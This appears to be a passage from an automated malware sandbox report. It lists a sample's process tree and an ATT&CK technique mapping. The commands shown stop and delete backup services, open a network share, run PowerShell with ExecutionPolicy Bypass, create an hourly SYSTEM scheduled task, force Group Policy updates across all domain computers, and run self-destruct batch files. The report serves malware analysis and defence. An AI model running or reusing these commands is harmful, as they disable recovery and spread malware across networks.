    3⤵
    PID:4716
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VSNAPVSS
    3⤵
    PID:1124
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop AcrSch2Svc
    3⤵
    PID:4472
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop AcrSch2Svc
      4⤵
      PID:588
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config AcrSch2Svc start=disabled
    3⤵
    PID:3200
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete AcrSch2Svc
    3⤵
    PID:4564
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop AcrSch2Svc
    3⤵
    PID:4492
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop AcrSch2Svc
      4⤵
      PID:4168
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config AcrSch2Svc start=disabled
    3⤵
    PID:4684
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete AcrSch2Svc
    3⤵
    PID:100
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop AcrSch2Svc
    3⤵
    PID:824
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop AcrSch2Svc
      4⤵
      PID:2424
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config AcrSch2Svc start=disabled
    3⤵
    PID:3764
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete AcrSch2Svc
    3⤵
    PID:4656
- - C:\Windows\SYSTEM32\net.exe
    "net" share SystemUpdate=C:\Users\Admin\AppData\Local\Temp\SystemUpdate /GRANT:Everyone,READ
    3⤵
    PID:3176
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 share SystemUpdate=C:\Users\Admin\AppData\Local\Temp\SystemUpdate /GRANT:Everyone,READ
      4⤵
      PID:4276
- - C:\Windows\SYSTEM32\net.exe
    "net" view
    3⤵
    - Discovers systems in the same network
    PID:3928
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\gpo_cEUg0p.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4940
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /create /tn GPOUpdate_cMZY4i /tr "powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\gpo_update_WzXUsG.ps1"" /sc hourly /mo 1 /ru SYSTEM /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4568
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" Get-ADComputer -filter * -Searchbase '%s' | Foreach-Object { Invoke- GPUpdate -computer $_.name -force -RandomDelayInMinutes 0}
    3⤵
    PID:4304

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\svchost.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:4384
- C:\Users\Admin\AppData\Local\svchost.exe
  C:\Users\Admin\AppData\Local\svchost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3020
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_OdZsMnAr.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4948
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1588
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_TBtuCfRS.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3068
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2088
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_fho9fo5z.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2836
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4368

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2428

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...